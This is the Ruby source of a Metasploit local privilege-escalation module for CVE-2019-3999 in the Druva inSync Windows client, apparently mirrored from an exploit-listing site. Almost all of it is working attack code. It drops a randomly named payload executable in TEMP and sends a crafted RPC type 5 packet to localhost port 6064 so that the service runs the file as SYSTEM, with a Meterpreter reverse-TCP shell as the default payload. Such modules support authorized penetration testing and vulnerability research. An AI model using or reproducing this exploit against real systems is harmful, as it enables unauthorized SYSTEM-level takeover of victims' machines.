Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/WINDOWS/LOCAL/DRUVA_INSYNC_INSYNCCPHWNET64_RCP_TYPE_5_PRIV_ESC
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Post::File
  include Post::Windows::Priv
  include Post::Windows::Services
  include Exploit::EXE
  include Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation',
          'Description' => %q{
            Druva inSync client for Windows exposes a network service on TCP port
            6064 on the local network interface. inSync versions 6.5.2 and prior
            do not validate user-supplied program paths in RPC type 5 messages,
            allowing execution of arbitrary commands as SYSTEM.
            This module has been tested successfully on inSync version
            6.5.2r99097 on Windows 7 SP1 (x64).
          },
          'License' => MSF_LICENSE,
          'Author' =>
          [
            'Chris Lyne', # Discovery and Python exploit (@lynerc)
            'bcoles' # Metasploit
          ],
          'References' =>
          [
            ['CVE', '2019-3999'],
            ['EDB', '48400'],
            ['PACKETSTORM', '157493'],
            ['URL', 'https://www.tenable.com/security/research/tra-2020-12'],
            ['URL', 'https://github.com/tenable/poc/blob/master/druva/inSync/druva_win_cphwnet64.py'],
          ],
          'Platform' =>
          [
            'win'
          ],
          'SessionTypes' =>
          [
            'meterpreter'
          ],
          'Targets' =>
          [
            [
              'Automatic',
              {}
            ]
          ],
          'DisclosureDate' => '2020-02-25',
          'DefaultOptions' =>
          {
            'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
          },
          'Notes' =>
          {
            'Reliability' =>
            [
              REPEATABLE_SESSION
            ],
            'Stability' =>
            [
              CRASH_SAFE
            ]
          },
          'DefaultTarget' => 0
        }
      )
    )
    register_advanced_options([
      OptString.new(
        'WritableDir',
        [
          false,
          'A directory where we can write files (%TEMP% by default)',
          nil
        ]
      ),
    ])
  end

  def base_dir
    datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
  end

  def service_exists?(service)
    srv_info = service_info(service)

    if srv_info.nil?
      vprint_warning('Unable to enumerate Windows services')
      return false
    end

    if srv_info && srv_info[:display].empty?
      return false
    end

    true
  end

  def execute_command(host, port, command)
    header = 'inSync PHC RPCW[v0002]'
    rpc_type = [5].pack('V')
    cmd = command.force_encoding('UTF-8').unpack('U*').pack('v*')

    pkt = header
    pkt << rpc_type
    pkt << [cmd.length].pack('V')
    pkt << cmd

    result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)

    unless result['GetLastError'] == 0
      fail_with(Failure::Unknown, "Could not create socket: #{result['ErrorMessage']}")
    end

    socket = result['return']

    sock_addr = [AF_INET].pack('v')
    sock_addr << [port].pack('n')
    sock_addr << Rex::Socket.addr_aton(host)
    sock_addr << "\x00" * 8

    print_status("Connecting to #{host}:#{port} ...")

    result = client.railgun.ws2_32.connect(socket, sock_addr, sock_addr.length)

    unless result['GetLastError'] == 0
      fail_with(Failure::Unreachable, "Could not connect to #{host}:#{port} : #{result['ErrorMessage']}")
    end

    print_status("Sending packet (#{pkt.length} bytes) to #{host}:#{port} ...")
    vprint_status("Sending: #{pkt.inspect}")

    result = session.railgun.ws2_32.sendto(socket, pkt, pkt.length, 0, sock_addr, sock_addr.length)

    unless result['GetLastError'] == 0
      fail_with(Failure::NotVulnerable, "Could not send data to port: #{result['ErrorMessage']}")
    end

    session.railgun.ws2_32.closesocket(socket)
  end

  def check
    service = 'inSyncCPHService'

    unless service_exists?(service)
      return CheckCode::Safe("Service '#{service}' does not exist")
    end

    CheckCode::Detected("Service '#{service}' exists")
  end

  def exploit
    unless check == CheckCode::Detected
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    if is_system?
      fail_with(Failure::BadConfig, 'Session already has SYSTEM privileges')
    end

    payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
    payload_exe = generate_payload_exe
    vprint_status("Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ...")
    write_file(payload_path, payload_exe)
    register_file_for_cleanup(payload_path)

    execute_command('127.0.0.1', 6064, payload_path)
  end
end